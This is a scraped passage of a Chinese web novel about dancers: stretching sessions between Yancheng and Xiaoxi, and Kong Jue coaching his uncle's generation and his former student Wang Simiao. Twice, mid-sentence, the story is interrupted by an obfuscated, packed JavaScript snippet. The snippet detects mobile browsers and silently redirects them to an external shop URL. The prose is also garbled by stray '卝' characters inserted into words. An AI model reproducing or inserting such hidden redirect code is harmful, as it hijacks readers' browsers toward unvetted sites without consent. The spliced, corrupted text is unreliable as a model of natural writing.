彦霖拍了拍弟弟的小腿,彦承立刻会意地转了转身子,换了另外一条腿上来,“我超额完成任务啊。最近每次婶婶打电话来,我都声泪俱下地说我有多想他和萧叔,萧泽哥也想他们想的不行,每逢佳节都“暗自神伤”!婶婶也说其实萧叔也很想我们,就是绷着面子,不肯承认。” “嗯,然后呢?” 彦霖刻意低着头专心按摩,眼前闪过多年前萧叔一脸失望和婶婶无可奈何的神色。 “然后我就趁机说啊,说过段儿你要出国谈项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239534|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目,大半个月不在家,萧泽哥想带着我去看看他们,就是不知道萧叔什么态度。喏,都是照你的剧本说的。我看啊,萧叔肯定舍不得跟婶婶拧的,估计过两天,婶婶就得打电话叫萧泽哥年底过去一趟了!” 彦霖点点头,“那就好,你学舞的事——?” “只字未提!” 彦承扭过身子,一副发誓的姿态竖了三根手指在耳边,彦霖见状不禁无奈地摇摇头,扔开他的腿站起身来,“没正形。早点睡吧!” ——————————————— “人生在世,总免不了遇到人性的恶意。因为自己没有一些东西,嫉妒一些东西,又无法毁灭别人所拥有的这些,所以侮辱、诽谤,甚至用最脏的话去诋毁。然后希望别人去相信他们的话,相信这世上一切的美好,都不是好来路……那我们,难道就要执着地与这样莫名的恶意纠缠,而放弃生活中原本更加值得在意的人和事么……” 夕阳下,与自己在草地上并肩而坐的父亲说出这样一段话,林晓希望着他的侧脸,有些迷惑,“爸爸……” “嗯?”,林暮青站起身拍拍裤子上的杂草,拉起许久未曾亲近的儿子,“这么惊讶?” “不,不是。” 晓希不好意思地笑笑,“只是没想到……我以为,您会说些‘人不知而不愠,不亦君子乎’ 的话。” “哈哈哈……这样的话,我相信萧泽都已经跟你说过了,不是吗?” 林暮青不加掩饰地笑着,那样久违的父亲明朗的笑容几乎让晓希刚刚才努力平复的情绪再次汹涌起来。只是转念想到近来的事,又不免有些黯然。是啊,这些话不光是学长,哪怕是自己也已经试着跟自己说过很多次了。。但想得到,跟想得通,终归是两码事。 望着儿子沉下去的神色,林暮青不禁无声地笑笑,他的儿子已经长大了,开始有忧虑有烦恼,有难过去的坎。他背起画板,拍了拍儿子的肩膀,揽着他朝花园外走,“晓希你知道要想通一件事,其实有许多种方式。虚怀若谷的释然,气急败坏地咒骂,或者是如阿Q般的自我麻木,都无不可。有些方式也许会更容易接受些,更痛快些,也有一些会更善意些,更高尚些。怎么选,我相信你有自己的想法,我也相信,你会让自己尽快从情绪中抽离出来,嗯?” 林暮青侧过头,看见儿子展露出个令人放心的微笑。那笑容,含蓄却坚定,林暮青不禁笑着紧了紧揽着儿子的手臂,继续朝前走去。两父子一路安静,直到了疗养院的门口。“去吧,下次再见的时候,也许就是在家里了。” 忍了一路的眼泪,终于还是忍不住在那一刻夺眶而出……——————————————————— 傍晚的情景还鲜活地在脑海中重播,林晓希不禁揉了揉又有些湿润的眼睛,心中各式各样的情绪让人难以平静。伸手摸到床边的手机,他轻轻翻了个身将被子蒙在头上。黑暗中,手机微微泛起幽蓝色的光芒,屏幕上,是年幼的自己举着新寄到的舞鞋给妈妈看,旁边正在画画的爸爸使坏用画笔在自己脸上画了个八撇胡…… 那是曾经爸爸的作品展前,记者来家里的采访,不知情的他拆开包裹里的舞鞋就忙不迭地去跟妈妈献宝,一时冲进了镜头里。记者适时抓拍下这温馨一刻,却成了多年来他最爱的一张“全家福”,因为照片里有不曾生病的妈妈,不曾沉迷的爸爸,和无忧无虑的自己。 多年的片段,一幕幕在眼前闪过…… 幼年时在舞者妈妈身后亦步亦趋的自己,酒醉的父亲跟前流泪哀求的自己,练功房中忍着伤痛苦苦支撑的自己…… 晓希紧紧皱起眉头,还有许多……许多…… 领奖台上,第一次拿下少年组金奖的自己,在学长家欢声笑语的自己,还有舞台上,和彦承共舞的自己…… 再难捱的日子,也都有过去的时候,是吗? 屏幕上的荧光渐渐散去,晓希轻轻阖上眼,明天,是如何的自己呢? 37. 第37章 清晨六点半,闹钟滴滴地响起。 整夜都不曾睡安稳的孔爵几乎是瞬间就被唤卝醒,一个翻身撑起来,修卝长的手臂越过大半张床,微微一探身,就麻利地按下了对面床头柜上闹钟的停止键。 身旁熟睡的思思被声动吵到,皱起眉头不安地翻了个身,却没有醒来。孔爵小心地替他往上扯了扯滑落的被子,少年眉头渐渐舒展,又睡了过去。 安静的房间里再次泛起匀长却极轻的呼吸声,孔爵跌回到床卝上,一只手搭着额头,慢慢阖上了眼睛。 这一夜,睡得疲累。 他整晚都在做梦,碎片拼着碎片,争先恐后地在脑海里播放。叛逆的少年,苛责的老卝师,时而那少年是曾经的自己,执鞭苛责的是当年的小叔叔;时而那倔强的身影仿佛是陶乐钦,从旁冷眼相看的……又是谁呢? 到底是再睡不着了,孔爵揉卝着惺忪的眼睛坐起来,颈椎连着后脑因为睡眠不足而微微胀痛着。自从离开了国际级的赛场和那随时随地都可能被替换掉的首席之位后,他已经鲜有这样的时候了。 哎。。孔爵无声叹了口气,轻手轻脚地走出房间。 就着凉水洗个脸刷个牙,人也清爽了几分。孔爵揉卝着依旧不适的脖颈步入厨房,倒了杯水给自己喝,正想着准备些什么早饭便听到客厅有开门的声音。孔爵倚着门探出了个头,原来是陆海言从外面回来,看到自己便晃了晃手里的满满当当的袋子,“在国外这么多年,早上就特别想这一口。” “思思还没醒?” 陆海言把东西放下,豆浆油条的香味立刻在餐桌上飘散开来。孔爵帮着把东西一一摆出来,扒到袋子底,果然还有自己最爱的葱油饼,“嗯,对你的事好奇的很,拉着我给他讲了大半宿,起得来才怪”。 “嚯,那半宿可讲不完啊”。陆海言笑着打趣,随手递过装满豆浆的杯子。孔爵接过来,不禁又看了眼多年未见的小叔叔。穿着运卝动装的他,与多年卝前一样挺拔,乍看上去,仿佛比自己还显年轻些。“这几年,你真的再没跳舞了?” 陆海言落了座,正把油条撕成一段段泡进豆浆里,听了这话不禁抬头扫了眼孔爵,那略有不甘的样子,倒是跟小时候挺像。“算是吧,偶尔也活动活动,后来你姗姗姐不喜欢,就不跳了。” 陆海言终于腾出嘴咬了口油条,久违的味道让他不住的点头,甚至还把剩下的半截在空中点了点,“一点没变,跟我记着的一样。” “嗯。。” 孔爵若有所思,配合着点点头,送进嘴里的葱油饼似乎比往日里少了些滋味。想来,人心的善变也是难测。想当初,姗姗姐难道不是被舞台上耀眼的小叔叔迷得三魂没了七魄?甚至背地里叫自己给她找个老卝师,顶着二十好几的年纪也要学跳舞,就为了“打进他的圈子,感受他的生活,分享他的精神世界”。谁又想得到,多年之后,这美好的艺术竟成了她最深的忌讳。 “我知道,她是不愿意时时被提醒,不愿时时去计较,舞蹈和她,到底谁在我心里更重些。” 仿佛是看透孔爵心中所想,陆海言突然开口。孔爵蓦地抬起眼,想象中小叔叔必是满面怆然或无奈。然而,眼前人的神色平静,波澜不惊,似乎旧日之事已难在他心中再掀起些什么。 孔爵不禁探询地打量了半晌,也许是真的释然,也许是小叔叔比从前更深沉些,他终究没看出什么。转念想想,自己又想看出什么来过往这样沉重,如果小叔叔真的已经放下,不才是他更希望看到的么。 “你也没再教跳舞了?那这些年——” “我去念了两年书,后来考了个工程造价师。” 国外生活这么多年,他之前那点大赛的奖金可不够。 哦?看着小叔叔一脸平常的样子,孔爵几乎不信,当年的他,可是和自己一样,如果不是为了能和国外的选手打招呼,肯定是连“hello”和“how are you”都不想学的。 陆海言埋头吃着早餐,不用看也能想到孔爵此时一脸的诧异。“只要一心想卝做,就没有做不成的事儿。更何况——” 他笑着顿了顿,“我当初可不是因为蠢才去学舞的。” 孔爵陡然一怔。 只一句话,一瞬间,记忆深处那几乎已经快被遗忘的情景突然在眼前鲜活了起来。 “你到底是不是因为蠢才来学舞的!” 还未及下课,陆海言已经忍不住冲到自己跟前,几乎是劈头盖脸地骂了起来。那时的他,也正是血气方刚的年纪,训起人来毫不留情面。“蠢就要知道上进!不要以为自己书念不好,跑到这里来多卖卖力气就行了。不知道用脑子,舞也一样跳不好! ” 偌大而陈旧的舞蹈教室里,自己站在房间中卝央,周遭的同学避之不及的向后退去。陆海言站在自己身前,高大的身影挡住了早上柔和的阳光,把自己罩在一片阴影中…… “不会记仇到现在吧?” 耳边的咆哮声突然散去,孔爵不自觉地打了个机灵。此时眼前的小叔叔,依旧背靠着阳光,面上却带着和暖的笑意,与记忆中那副怒气冲冲的样子全然不同。孔爵看着看着,不禁扑哧一声笑了出来。原本多年未见,与重遇不到一整天的小叔叔之间难免还有些说不清道不明的生疏。但这幡然掀起的往事,却终于让眼前人实实在在地熟悉了回来。 ———————————————————— 向左。向右。向—— 彦承侧枕着手臂,另一只手灵活地在屏幕上划了几下,又犹豫的停住。。。眼看屏幕下方提示只剩下五步,自己离游戏目标却还差得远,不禁烦躁地按下Home键扔到,游戏的标志在屏幕上一闪而过。 木质地板硌着胳膊肘上的骨头有点疼,彦承忍不住抓回刚被扔到一边的手卝机,胡乱点了几下。计时器的界面上,半小时的倒计时还剩下二十几分钟。于是手卝机再次被扔到一边,彦承展开双臂,额头抵着地板,尽力让上身都伏卝在地上,胯上骨缝间的酸痛让他忍不住皱起眉头。 自从发现外开的状态总是反反复复,萧泽哥就盯死了他的横叉。每天至少三十到四十五分钟的耗胯,一点水分都不能有,结束时自己往往酸得根本起不来身,却也得坚持做完各两百个高质量的踢腿。 日日如此的滋味很是难捱,但……效果也明显,想到近来的进步……哎,彦承不禁抿起唇,尽量压下心中因疼痛而泛起的烦躁情绪,紧着腰卝腹,努力将悬在空中的胯又向下沉了沉。 下午刚刚跟着萧泽哥练了两套卝动作,容不得有一丝一毫偏差的强度,比自己练的时候高了不是一点半点。两个小时下来,便已是大汗淋漓,刚刚在地上歇会才散了些,可现在……彦承的眉头皱地更紧了,感觉汗珠又在自己脖颈上续了起来。不出两分钟,说不出的难受就逼得他掀起身卝子,将自己带回个轻卝松些的角度。可这么一放松,内心的愧疚又占了上风,于是上卝上卝下卝下,反反复复地,半天也不见进展。 “叩叩叩” 紧随着敲门声,好像有人推门进来,彦承好奇地抬起头,眸子里立刻闪出一抹惊喜,“晓希?” 晓希笑着走进来来,侧脸上映着阳光。穿着看着就很舒适的白T和灰色运卝动裤,挺拔的身影好像镀上了一层柔光,彦承看的几乎晃了眼睛,直到人在自己身前坐下了也没回过神来。 “喂?喂!想什么呢?” 晓希伸手在他眼前晃了晃,才将傻怔怔愣着的家伙唤了回来。彦承不好意思地笑了笑,随即腾出一只手指了指不远处的手卝机,“抱歉,还不能起来。” 晓希了然的点点头,在他身边坐下,边拿起手卝机边调笑着说道,“听说你最近化身拼命三郎了,早上学长说你会过来,我就赶紧抽空来看看咱们的明日之星啊。” 熟门熟路地输进密码,映入眼帘的是还有22分钟的倒计时,晓希随手锁了屏,将手卝机放了回去。 “京卝城舞少我跟你还有十万八千里的差距呢,怎么担得起 ‘明日之星’ 这等殊荣啊。” 彦承操着夸张的语气,一脸眉飞色舞地回应,似乎已经忘了刚才还让他直冒虚汗的疼痛。 早已经习惯了这小子了得的嘴上功夫,晓希不禁牵起嘴角,甩给他一个无可奈何的眼神。顿了两秒,晓希却忽然想起什么似的,突然探起身去撩他的练卝功服。 “诶?” 彦承连忙伸手去拦,却直接被扣了手腕按在背上,衣服到底是给掀开了。 腰上大片的创口才结起一层薄薄的痂,如今被汗水一浸,免不了有些发软发白。果然伤的不轻,晓希微微皱起眉,“伤成这样自己都没感觉出来?” “哎,没什么事儿的,我哥大惊小怪!” 想来自己受伤的事儿已经从哥卝哥那儿传到萧泽哥又传到晓希这里了,彦承有些不好意思地挣脱了手把衣服拽了回来,赶忙转移话题。“你怎么样,开始准备比赛了,是不是挺忙的?” “也还好。” 晓希站起身,有些含糊地回应着。这两天的事彦承并不知情,他也已经想开了,便不想再提起。更何况,晓希回头看了看正笑眯眯望着自己的彦承,他更担心的是这家伙搞不好就会感染的伤。从墙边的柜子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239535|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里找出医药箱,晓希挑了几样紧要的出来摆在一旁,“等下再帮你上点药。” “哦。我的伤没事儿的。” 彦承侧着头,一脸痴卝汉地看着情人忙碌的身影,脑子里全是以后能跟他一起上学的画面。然后那身影走回来,在自己身前蹲下,伸手便在他头上落了个毛栗子,“今天这胯是不是耗得太轻卝松了,怎么总神游啊?” 一语倒是点醒了“花痴”中人,彦承的面色有些苦恼起来,“正好趁着你在,帮我压压。今天也不知道怎么了……耗不住,心里像是长了草似的,烦躁的不得了。” 彦承边说着边伸长手臂将上半身延展出去,还没等着晓希答应,就已经摆好了“任人宰割”的架势。 刚开始学舞的时候,他总是怕萧泽哥给他撕腿窝腰,相比舞姿和翻腾跳跃的自在,那种避无可避,“我为鱼肉”的感觉很不好捱。只是现在练得多了,却又觉得,自己练习的时候才更难。再疼再难受也好,身旁只要有个人看着逼着,就好像少了很多放弃的借口,知道无论如何都只能坚持下去;可换做自己一人,简直就是对意志力的极大考验,他脑海里常常打架的两个小人,便总是那个想放自己休息的获胜。 想到这里,彦承不禁在黑卝暗中抿了抿嘴,也许就如萧泽哥所说的,他和晓希之前差的,并不仅只是这几年的功夫,更是作为一个舞者,对自己的那股狠劲儿。 看着彦承拉长的身卝子,晓希无声地叹了口气。天天练,谁也不能保证状态总是好的,难免有卡了壳需要休息的时候。可惜彦承不同于别人,这种无论是学业还是舞蹈都要拔苗助长的节骨眼,拿出大把时间来放松心情和调整状态,对他来说是太奢侈的事情了。 挪到彦承身后跪坐下来,晓希又有半晌的失神。和承儿一起练舞的这些日子里,自己远远观望过,在他身前握着他的手鼓励安慰过,却好像从没在这个位子上呆过。不禁又想起初识承儿的时候,他笨拙地拉开双卝腿,一点点往平角上努力地样子,如今,他已经在用专卝业舞者的姿态要求自己了。 “状态不好也是常有的事儿,别急,慢慢调整。” 晓希扶着他的胯,轻轻往后带了带,“来,放松。” “嗯。” 随着晓希调整到标准的姿卝势,刚刚有些麻木的痛觉瞬间被激活了起来,彦承暗地里咬紧了牙根,有些后悔自己提了这样“上进”的要求。 晓希跪在他身后,拿捏着分寸,一点点把重心转移到双手上来,虽然缓慢,却也带着毋庸置疑的势头。这一阵的确练得很瓷实,一上手,他就能感觉出阻力小了不少。而且相比从前总是要停下几次提醒他放松,彦承今天也很配合。于是没怎么犹豫的,手下的力道也霸道了些,只两三下,晓希就压着他下去了一截,直到接近地面的时候,才因着韧带和骨骼的滞卝涩,稍稍停了下来。 “怎么样。” 晓希偏过头,轻声问他。却只见彦承突然抽回一只手臂,垫到了嘴下,却是一声也不吭。晓希微微一怔,心也跟着狠狠一紧。停了下来,才感觉出手下才传来的止不住的颤卝抖。彦承不经意间露卝出的侧脸上,能看见他紧闭着双眼,牙尖紧紧卝咬着中指骨节上的那一层皮肤,汗湿的碎发,散乱地贴在额头上,纯黑的练卝功服,也湿哒哒地贴在肌理分明的背上。 “彦承……” 好像有什么堵在喉间,梗得晓希一个字都再说不出来。他连忙腾出一只手去感受他双卝腿的韧带,生怕这家伙强忍着不吭声,连伤了都不知道。感受到晓希的举动,彦承一个劲儿地摇头,却一个字也不肯说。晓希安抚地在他背上拍了拍,知道彦承是在告诉自己他没事,也知道他是生怕一开口,那强自压抑地每个细胞的尖卝叫都会失控起来。 面对这样努力地彦承,也许他此时唯一能做的就是支持。 “我压到底了。” 晓希狠了狠心,伴着话尾的最后一个音节,用膝盖卡着他的胯卝根,把他牢牢地钳在了地上。 “特——呃嗯……” 在这样的年纪去拼别人的童卝子功,饶是铁打的,也熬不住。那声含卝糊不清的嗫嚅,分明是一个被堪堪压回了喉卝咙里的“疼”字。伴着急促的呼卝吸声,彦承忍不住顶起身卝子,却在才移动半分的时候,被晓希硬生生地按了回去。 “别……” 被这么狠狠压着,手下的人不禁难耐地动着,丝丝细碎的抽噎渐渐溢了出来,晓希强忍着心疼帮他按了按脚背,再想提醒着让他别动,话到嘴边,却无论如何都说不出来了。 面对这样拼命隐忍的承儿,再说些什么让他继续忍耐的话,都太残卝忍了。 38. 番外一 番外 孔爵站在工作室门口的台阶上,扬起手臂大大地舒展着双肩。微凉的夜风似乎能够吹散连日作战带来的隐隐头疼,他随手把车钥匙扔给家远的几个学生,忽然起了散步回家的兴致。 工作室的几个学生在应召国外的大舞团,他带着他们几乎不眠不休的集训了好几天。今天算是结束的早,外面的黑也已经黑透了。 城市的夜晚并不比白天安静很多,一辆辆呼啸而过的汽车,熙熙攘攘地人群,还有路旁店铺里放的“十大金曲”,早都争先恐后地塞满了耳朵。孔爵却没有特意拣安静的小路走,反而是顺着车水马龙的大马路,倒是能从工业发展丰硕成果的气息中品出一点点绿化带释放出的清新来。孔爵恣意地迈着步子,不时在公交车站的广告牌前静静驻足片刻。 这么走走停停,平日里二十分钟的路程花了半个多小时。快到小区门口,孔爵一眼瞟见停在路旁的保姆车。 “孔老师。” 还没等孔爵缓慢的大脑通路运行畅通,车上就冲下个人来。 “小源?你怎么在这儿?” 孔爵看清了来人,是顾小源。 “是思煦”,小源脸上露出些为难来,“公司今天给放了半天假,他下午回家陪伯父伯母了,吃完晚饭却一定要到这儿来。” 孔爵下意识地望向一栋栋公寓,却忘了自己的单元是在小区最里面的。 “他明天要飞国外拍摄,您…别太难为他了。” 这丫头在小区门口傻等着,估计就为了这句话吧。孔爵其实还是没摸清头脑,却点了点头,示意明白了。“明天什么时候来接?” “一点半吧,让他陪您吃完午饭的。” 小源得意地扬了扬下巴,希望孔老师能念着她费力给他们师徒俩挤出来的一顿午餐时间,听她的话。 “行,辛苦你了。” 孔爵看着小源上了保姆车,转身朝小区里走去。 顾小源是思思的贴身助理。哦,思思改了名字,叫王思煦。是公司特意找人算的,说能红。能红?孔爵不哂地撇撇嘴角。许多事已经不是他能控制,但是还好,他还能继续叫思思,好在当初没叫邈邈,不然现在要改成煦煦?拗口的很。孔爵无奈地甩了甩头,这个无聊的段子,他从思思进演艺圈到今天已经想了八百回了。 脚步突然停下来,不知何时,单元门已经在眼前了。孔爵有些发怔,边在包里摸着钥匙边回头望着已经看不见的小区收发室,想不到自己脚步什么时候变得这么匆忙了。 推开房门,打眼就看见一双运动鞋整整齐齐地摞在鞋架上,拉开玄关旁边的衣柜,一件眼熟的外套挂在最边上,是上次师徒俩上街的时候一起买的。有工作的时候,经纪人定是不肯让他穿的。走进厨房,饭桌上摆着两个保温饭盒,旁边还有乐扣盒装的切好了的水果。孔爵微微扬起嘴角,能想象的出伯母忙活着把这些东西都塞到思思手里的样子。 哎,去看看那小子吧。 隔着一层房门,能看见王思邈挨在墙边的把杆下面,下了个不伦不类的竖叉,可即便是这样,也貌似并不轻松,握着头顶把杆的双手,时紧时松,泛着红的脸上,几乎大写着“沮丧”两个字。 孔爵垂下目光推门而入,毫无表情的脸上,辨不出情绪。 “这竖叉是我教你的?” “老师?!” 王思邈猛地侧过头,一脸惊讶,走神走的,都不知道什么时候老师已经走到跟前了。孔爵双手插着兜,冲他挑了挑下巴,“自己看看,胯都掀到哪儿去了。” “唔” 王思邈脸上一红,连忙撑起身子正了正胯,果然,这一下便跟地面拉开了一小段距离。王思邈低着头,看着自己脚背没了,膝盖也绷不紧,想着此时的样子在老师眼里该是如何的不入流,他几乎无地自容。 孔爵却不再留意他卡在半空中的窘状,只是静静打量着自己数月未见的学生。小源总是说,公司一直想让他练的壮一点,可眼前人这瘦削的双颊,分明比上次见面时又塌下去了些。 “起来吧。” 孔爵的声音里难掩疲惫,思思的第一要务早已不是要下个漂亮的竖叉。“一年到头难得有半天假,好好休息休息。” 王思邈用力摇了摇头,尽力维持着并不算优美的姿态,不肯起来,难得没用发胶抓起的头发服帖地被甩来甩去。 不过是几年的光景,已经是二十出头的小伙子了,个子长高了,五官长开了,脸上柔和的线条也变得硬朗了许多。孔爵时常觉得长成年的思思已经幡然变了模样,可如今他自己跟自己较劲的这一幕,却好像就是年少的样子。“唉。” 孔爵深深叹了口气,蹲下身来。“说说吧,跑我这儿干什么来了。害得我被顾小源堵在小区门口,这个锅,你自己背。“ 王思邈急着抬起头,“小源姐还在?” “已经走了。” 孔爵自然知道这孩子从来不愿意麻烦别人,可是这会儿看着他不自觉发着抖的胳膊腿儿…以他现在的能力,撑不了太久。“别扯别的,说你自己的事儿!” “老师…” 一说到自己的事情,王思邈的脸色更暗了,“你说,我是不是再也不能跳舞了…“ 两片薄薄的嘴唇不自然地抿紧,想必说出这句话心里并不轻松。孔爵看着他一脸凄然的样子,却反而被逗笑了。“别说的那么邪乎,你是傻了啊还是残了啊,怎么就不能跳了。” “我不是那个意思”,王思邈有些着急地看着孔爵,可才对上老师的目光就又内疚地低下头去,“我…我看了彦承哥录的你们新排的舞剧的视频。我……” 他看到晓希学长,看到彦承哥、还有陶乐钦,他们跳的那么轻松那么好,还有在舞蹈上那么挑剔的老师,看着他们的眼神里都是赞赏…… “这些……我都已经跳不出来了。” 王思邈垂下眼睫,自嘲地扯了扯嘴角,声音轻细的几乎让人误以为是幻觉。孔爵感觉胸口有些窒住,仿佛所有的气息都堵在喉间,哪怕是在最失意的那几年,这孩子也总是守着能感染旁人的乐观,像今天这样难过的时候,实在是太少了。 只是,好像不曾感受到学生浓浓的沮丧与不甘,良久,孔爵突然轻快着声音说,“那也没什么可惜的。” 那也没什么可惜的……思思倏地扭过头,望向自己的眼神,带着一丝不可置信的陌生。孔爵的心隐隐疼了一下,却难得展开个宽慰的笑容,“我是说,你们选择了不同的人生道路,所以努力的方向,已经不一样了。你在自己的方向上做的很好,就不能再回头看了。” 孔爵与人温声细语、循循善诱的时候并不多,仅有的几次,大概都是对着思思。 “起来吧。”余光里,思思撑着地的胳膊抖个不停,孔爵心疼他把自己折腾的这样狼狈,也不管他是否已经听明白,伸手想要将人拉起来,却还没等扶到,思思已经一个不支向旁边栽坐过去。 王思邈跌的回过神来,心却更加沉了下去。不曾系统练习的这几年,不要说什么素质技巧,就连最基本的力量也没能维持下来。低头看着自己这副模样,所有的情绪不禁在一瞬间翻涌上来,“不是的……我说过我不会放弃舞蹈!不会跳舞的我……就不配做老师的学生了。” 王思邈无助地摇着头,双眼终被难以言说的心事压得通红。 孔爵望着眼前气息汹涌的孩子,心一点点揪了起来。思思从小跟着自己,常是安静,乖巧,咧着双唇薄薄的小嘴,甜甜地笑着,不开心的时候也只是默不作声,情绪这样激动的时候很是少有。想着他整晚的反应,想着他方才情急之下说出的那些话,孔爵终于渐渐摸清了,一直压着思思的这一块心病。 “后腿硬的不成样子,竖叉能下下去才怪。” 沉默了半晌,孔爵敲了敲王思邈身前的地板,一改方才的柔声细语,“不是要练吗?起来,跪姿弓步。” 王思邈有些茫然的抬起头,一时没反应过来老师态度的转变。只是因着师生俩多年的相处,一对孔爵严厉的眼神,王思邈就下意识的迅速动作起来。 摆好了姿势,看着镜子中的自己,下一秒,心里又羞愧的不行,除了小时候最最开始学舞的时候,自己就再没被这个基础的拉伸髋屈肌的动作难为过。 孔爵站起身,眼看着这头又要往下低,直接伸手抬了抬他下巴,“头抬起来!还要带你从头复习是不是。” 王思邈不敢回话,连忙挺直上身,把手臂背到身后,相互扣住了手肘。“重心!” 又是没好气的一声,王思邈心里一抖,不禁狠狠地闭了下眼,暗恨自己怎么真的慌神慌到什么都不记得了。迅速把重心稍稍往后移了移,刚好垂直落在胯间,腿根的地方果然立刻传来多于方才几倍酸痛,王思邈不禁咬上嘴唇内侧的肉,努力集中精神。 房间里渐渐安静了下来,能感觉到老师如鹰一般犀利的眼神正一寸一寸把自己从头打量到脚。王思邈一边忍着疼维持平衡,一边努力回想着少年时期记忆中的动作要领,生怕要是再发现一处毛病,老师就会像从前一样一脚把自己踹翻过去。 “耗一会儿吧。” 盯了足有半分钟,孔爵终于缓下声音吩咐了一句,转身走开了。伴着“咔哒”一声响,王思邈看着镜子中老师的背影消失在门后,练功房里又剩下自己一个人。可即便这样,他也不敢掉以轻心,反而舔了舔嘴唇,将身子又向下沉了沉。 一个人在练功房的时候,那莫名的熟悉让他很安心,就好像年少时的无数个日日月月,他时而孤单地默默努力,时而是满心惦记地等着老师回来。想着跟着老师练舞总是十分辛苦的旧时岁月,王思邈有些迷惑了起来……方才说出“没什么可惜”那样的话,是认真的吗。 孔爵再回来时,手里多了个保温杯和两条毛巾。从镜子里看到向自己走来的老师,王思邈不自觉的又紧张起来。 “润润嘴。”盖子已经被拧开的保温杯递到了嘴边,王思邈下意识舔了舔嘴唇,果然已经有些干,明天要是干的起了皮,化妆师一定又会跟小源姐抱怨了。 “谢谢老师……” 就着这么个并不舒服的姿势,王思邈只小小地抿了几口,杯子才递了回去,一条热毛巾又递了过来。 跟着老师七年,他虽然对自己一直格外体贴照顾,练功的时候却决不许开小差;可是如今,就只是因为自己“金贵”了许多,连累老师一贯的原则,都要让让步。说不出是感动还是内疚,思思将脸埋在一片温热中,一直紧绷的神经终于渐渐放松了下来。 “自己活动活动吧。” 孔爵接回毛巾,转身去把东西放到一边。王思邈撑着膝盖,慢慢放直前腿,把重心挪到跪着的后腿上来,两腿微微合拢的一瞬间,胯间酸疼的他一个激灵。他不敢磨蹭,吸着气活动了两下便又压下身子去拉前腿的韧带。 孔爵习惯性的将双手架在腰上,从旁看着,一言不发。约莫着活动地差不多,王思邈偷瞄了一眼老师,深吸一口气,再次慢慢滑开了个竖叉。这次胯是摆的端端正正了,离地面也只剩个若即若离的距离,膝盖和脚背虽然比不了小时候,却也能入眼。王思邈渐渐松了手上的力道,让自己实实在在地贴了地,虽然还是有些吃力,但总算是个标准的竖叉。默默呼出悬着的一口气,他总算对自己又有了那么一点点信心。 毕竟是多年的童子功,只要系统的训练,恢复起来还是快的。“这不是好好练也能下去了吗。是平时自己太舍不得自己了,非要人逼着?” 练功时候的孔爵,就算是安慰也带着些严厉。 “我……我会改的。” 不敢去看老师的眼神,王思邈埋着头吐出这几个字,喉咙就哽住了。到底已经是大人了,要像小时候那样认错,总还是难为情的,但其实更难说出口的,是内心深深的自责。工作迅速多起来的这一年多,忙碌的程度超乎想象。他不得不频繁的飞来飞去,常常工作到深夜,累的筋疲力尽,过去为自己定下的维持状态的最低训练任务,也不得不一再被搁置。可是他从没忘记舞蹈,从没想过真正的放弃,拍摄间隙时,奔波于各个城市之间时,哪怕是睡前冲个热水澡时,最不经意间,总有个担忧的声音提醒着,自己已经荒废舞蹈,好久了。于是他只能安慰自己,欺骗自己,只是几天,几个月而已,不那么忙的时候,他一定能补回来。直到有一天,现实赤-裸-裸的摆在眼前,他才发现自己离舞蹈,离老师,都越来越远了。想到越来越刻意回避着自己的老师,他的心,就像溺水一般无助,是不是,老师早就已经预料到,自己不再是那个好好跳舞的孩子了。 孔爵居高临下的看着,只看见思思刚刚还烧红的面颊渐渐失了血色;其实自己哪里需要他的什么保证,只要一想到这小子心里压着的沉重的心事,自己的心也就只余酸着的份。 “行了,先起来吧。” 孔爵拉起了思思,伸手在他胸口点了点,“这只是先给添点自信。先去做力量,最后再撕腿。还是——” 想到自己回来时思思身上已经汗湿的T恤,“还是我回来前已经做过了?” “嗯。腹背肌各两百个,七分钟倒立,还有……没……我现在去重做。“大概是为了刚刚的那句”我会改”,王思邈话还没说完就改了口。孔爵无奈地在他脖颈上捏了捏, “不用了。去吧,上把耗腿。” “嗯”。王思邈定了定神,答应着转身钻进了把杆。同样是年少时常做的动作,站直了身子才发现墙面比自己想象中要近许多。提起膝盖,费力地把左腿扳到身前,却发现狭窄的空间下自己几乎伸不直双腿,也因为上身伏不到腿上,后腰在把杆上硌的生疼。 “脚尖勾回来,我现在不看你脚背,自己好好把韧带给我压压开。” 又突然严厉起来的语气的让人心中一凛,王思邈连忙去勾脚,跟着却觉得身后一紧,伸手去摸才发现,原来腰间被老师塞了块毛巾进来。 “谢谢老师” ,把杆硬硌着骨头的感觉立刻减轻了许多,王思邈不再多说话,连忙用双手扳着脚尖,尽力拔直上身向腿上靠去。 在地上还能勉强下个竖叉,搬到了墙上,双腿却难开得笔直。王思邈习惯性地抿着嘴,目不转睛地盯着斜前方的墙壁,一点点把自己推上去。 房间渐渐安静了下来,空气中只余师徒俩的呼吸声。在一波波撕扯的疼痛中,一直紧涩的筋骨终于稍稍败下阵来,双腿也成功拉出漂亮的一字,趁热打铁的,王思邈微微扬起下颌去找身前的小腿,感觉到一直莫名慌着的心也渐渐稳了下来。 “再下,贴墙。”孔爵侧倚在把干上,扫了眼他离墙壁多说也就十公分距离的右脚,以他的底子,不加点角度实在就是休息了。王思邈点点头,身体立刻可见地向下沉了沉。 站在孔爵的角度,只能看到王思邈已经续起密密汗珠的半边脸。相比方才见面时的低迷混乱,这会儿的他,面色平静,神情专注,渐渐进入了状态。 